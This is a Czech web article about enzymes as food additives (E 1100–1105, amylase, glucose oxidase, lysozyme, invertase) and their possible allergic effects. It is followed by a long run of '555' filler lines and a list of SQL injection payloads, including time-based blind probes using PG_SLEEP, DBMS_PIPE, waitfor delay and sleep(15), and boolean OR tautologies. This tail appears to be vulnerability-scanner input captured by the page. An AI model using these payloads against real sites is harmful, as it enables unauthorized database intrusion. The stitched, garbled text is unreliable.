Enzymy se u potravin a nápojů používají jako konzervační prostředky, prodlužující trvanlivost. Zlepšují také vlastnosti pekařských a cukrářských výrobků. Většina v potravinářství používaných enzymů ale může vyvolávat alergické reakce.
Enzymy v potravinách a nápojích neplní svoji původní funkci, kterou je posilování obranyschopnosti organismu, ale přidávají se pro prodloužení trvanlivosti a vylepšení některých vlastností pekařských, cukrářských a mnoha dalších výrobků. Používají se například při výrobě pekařských produktů, snídaňových cereálií, sladidel, cukrovinek, čokolády, polev a náplní, glukózových sirupů, alkoholických nápojů a piva, ovocných džusů, sýrů, majonézy… Jako konzervanty se často využívají u těstovin, masa, mořských plodů, nápojů, omáček.
Používají se jen čtyři druhy enzymů. Tři z nich pochází z látek živočišného původu a přitom všechny tři mohou způsobovat alergické reakce.
Enzymy jsou poměrně nové druhy přídatných látek a označují se E 1100 až 1105. Dělí se na
- přírodní a přírodně identické
- polosyntetické a syntetické
Enzymy z přírodních zdrojů získané syntetickou cestou, které mohou způsobovat alergické reakce
- E 1100 - Amyláza
- E 1102 - Glukosaoxidasa
- E 1105 - Lysozym
Syntetické enzymy bez známých negativních účinků na lidský organismus
- E 1103 - Invertasa
Enzymy se mohou do potravin a nápojů přidávat v omezeném množství v souladu s přísnými předpisy v takovém množství, které při běžné konzumaci neohrožuje lidské zdraví. U osob citlivějších na chemické přísady v jídle se ale různé negativní alergické reakce projevit mohou. Vzhledem k používání mnoha různých přídatných látek - tzv. eček - v jednom druhu potravinářských výrobků je tedy vhodné se důkladně seznámit s jejich složením. V případě, že se v potravině vyskytují pro zdraví nevhodné nebo nebezpečné látky by se konzumace měla omezit na nezbytně nutnou míru nebo úplně.
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@qbMyp
1%2527%2522
1'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
jh0IUedf')) OR 344=(SELECT 344 FROM PG_SLEEP(15))--
6B6UCqpz') OR 320=(SELECT 320 FROM PG_SLEEP(15))--
KsCOKkvq' OR 646=(SELECT 646 FROM PG_SLEEP(15))--
-1)) OR 598=(SELECT 598 FROM PG_SLEEP(15))--
-5) OR 108=(SELECT 108 FROM PG_SLEEP(15))--
-5 OR 985=(SELECT 985 FROM PG_SLEEP(15))--
v0kEWNaN'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3*2>(0+5+21-21) --
-1" OR 3*2<(0+5+21-21) --
-1" OR 3+21-21-1=0+0+0+1 --
-1" OR 2+21-21-1=0+0+0+1 --
-1' OR 3*2>(0+5+603-603) or 'LBSKDiT9'='
-1' OR 3*2<(0+5+603-603) or 'LBSKDiT9'='
-1' OR 3+603-603-1=0+0+0+1 or 'LBSKDiT9'='
-1' OR 2+603-603-1=0+0+0+1 or 'LBSKDiT9'='
-1' OR 3*2>(0+5+813-813) --
-1' OR 3*2<(0+5+813-813) --
-1' OR 3+813-813-1=0+0+0+1 --
-1' OR 2+813-813-1=0+0+0+1 --
-1 OR 3*2>(0+5+980-980)
-1 OR 3*2<(0+5+980-980)
-1 OR 3+980-980-1=0+0+0+1
-1 OR 2+980-980-1=0+0+0+1
-1 OR 3*2>(0+5+795-795) --
-1 OR 3*2<(0+5+795-795) --
-1 OR 3+795-795-1=0+0+0+1 --
-1 OR 2+795-795-1=0+0+0+1 --
555
555
555
555
555